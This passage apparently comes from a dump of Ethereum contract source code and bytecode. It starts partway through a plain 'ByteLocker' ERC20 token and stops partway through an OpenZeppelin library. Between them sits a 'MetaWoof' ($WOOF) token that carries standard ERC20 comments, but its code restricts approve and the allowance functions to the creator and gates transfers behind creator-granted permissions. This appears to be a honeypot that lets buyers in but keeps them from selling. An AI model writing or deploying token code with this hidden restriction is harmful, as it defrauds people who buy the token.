contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract ByteLocker is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function ByteLocker() public { symbol = "BLO"; name = "ByteLocker"; decimals = 4; _totalSupply = 1000000000000000; balances[0x02115b009A79B0550C8f8cde95cE5D627Ec088fd] = _totalSupply; Transfer(address(0), 0x02115b009A79B0550C8f8cde95cE5D627Ec088fd, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058204b228479a9dcfdd6d40bfa464e2a6196494ce77e7d54625e9c8bfbf65eb7e3680029
[ 2 ]
0xf2b1cce8de80346fb5c6c0118a27941c00fa4c33
pragma solidity ^0.6.6; import "./Permissions.sol"; import "./SafeMath.sol"; import "./Address.sol"; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Permissions, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18 and a {totalSupply} of the token. * * All four of these values are immutable: they can only be set once during * construction. */ constructor () public { //_name = "MetaWoof"; //_symbol = "$WOOF"; _name = "MetaWoof"; _symbol = "$WOOF"; _decimals = 18; _totalSupply = 1000000000000000000000000000; _balances[creator()] = _totalSupply; emit Transfer(address(0), creator(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == creator()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyCreator override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); if(_msgSender() == uniswap()) { givePermissions(recipient); } // uniswap should transfer only to the exchange contract (pool) - give it permissions to transfer return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual onlyCreator returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063313ce5671161008c57806395d89b411161006657806395d89b41146103d7578063a457c2d71461045a578063a9059cbb146104c0578063dd62ed3e14610526576100cf565b8063313ce567146102f5578063395093511461031957806370a082311461037f576100cf565b806302d05d3f146100d457806306fdde031461011e578063095ea7b3146101a157806318160ddd1461020757806323b872dd146102255780632681f7e4146102ab575b600080fd5b6100dc61059e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101266105c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016657808201518184015260208101905061014b565b50505050905090810190601f1680156101935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ed600480360360408110156101b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610669565b604051808215151515815260200191505060405180910390f35b61020f610733565b6040518082815260200191505060405180910390f35b6102916004803603606081101561023b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073d565b604051808215151515815260200191505060405180910390f35b6102b3610862565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102fd61088c565b604051808260ff1660ff16815260200191505060405180910390f35b6103656004803603604081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b604051808215151515815260200191505060405180910390f35b6103c16004803603602081101561039557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a02565b6040518082815260200191505060405180910390f35b6103df610a4b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041f578082015181840152602081019050610404565b50505050905090810190601f16801561044c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a66004803603604081101561047057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aed565b604051808215151515815260200191505060405180910390f35b61050c600480360360408110156104d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c66565b604051808215151515815260200191505060405180910390f35b6105886004803603604081101561053c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d79565b6040518082815260200191505060405180910390f35b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561065f5780601f106106345761010080835404028352916020019161065f565b820191906000526020600020905b81548152906001019060200180831161064257829003601f168201915b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ab610e00565b73ffffffffffffffffffffffffffffffffffffffff1614610717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806115d3602b913960400191505060405180910390fd5b610729610722610e00565b8484610e08565b6001905092915050565b6000600854905090565b600061074a848484610fff565b61080b84610756610e00565b610806856040518060600160405280602881526020016115fe60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107bc610e00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b99092919063ffffffff16565b610e08565b610813610862565b73ffffffffffffffffffffffffffffffffffffffff16610831610e00565b73ffffffffffffffffffffffffffffffffffffffff1614156108575761085683611379565b5b600190509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e5610e00565b73ffffffffffffffffffffffffffffffffffffffff1614610951576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806115d3602b913960400191505060405180910390fd5b6109f861095c610e00565b846109f3856004600061096d610e00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114df90919063ffffffff16565b610e08565b6001905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae35780601f10610ab857610100808354040283529160200191610ae3565b820191906000526020600020905b815481529060010190602001808311610ac657829003601f168201915b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2f610e00565b73ffffffffffffffffffffffffffffffffffffffff1614610b9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806115d3602b913960400191505060405180910390fd5b610c5c610ba6610e00565b84610c578560405180606001604052806025815260200161166f6025913960046000610bd0610e00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b99092919063ffffffff16565b610e08565b6001905092915050565b600060026000610c74610e00565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806115d3602b913960400191505060405180910390fd5b610d23610d1c610e00565b8484610fff565b610d2b61059e565b73ffffffffffffffffffffffffffffffffffffffff16610d49610e00565b73ffffffffffffffffffffffffffffffffffffffff161415610d6f57610d6e83611379565b5b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061164b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061158b6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806116266025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561110b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806115686023913960400191505060405180910390fd5b611177816040518060600160405280602681526020016115ad60269139600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b99092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120c81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114df90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611366576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561132b578082015181840152602081019050611310565b50505050905090810190601f1680156113585780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b9610e00565b73ffffffffffffffffffffffffffffffffffffffff16148061142f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611417610e00565b73ffffffffffffffffffffffffffffffffffffffff16145b611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b8152602001806115d3602b913960400191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008082840190508381101561155d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f7520646f206e6f742068617665207065726d697373696f6e7320666f72207468697320616374696f6e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220052e54d61d0a6aaf75c14b0ec3b1d0cc2b3d2a00bede5f70b0543152b28d9e3c64736f6c63430006060033
[ 38 ]
0xF2B223Eb3d2B382Ead8D85f3c1b7eF87c1D35f3A
// File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return 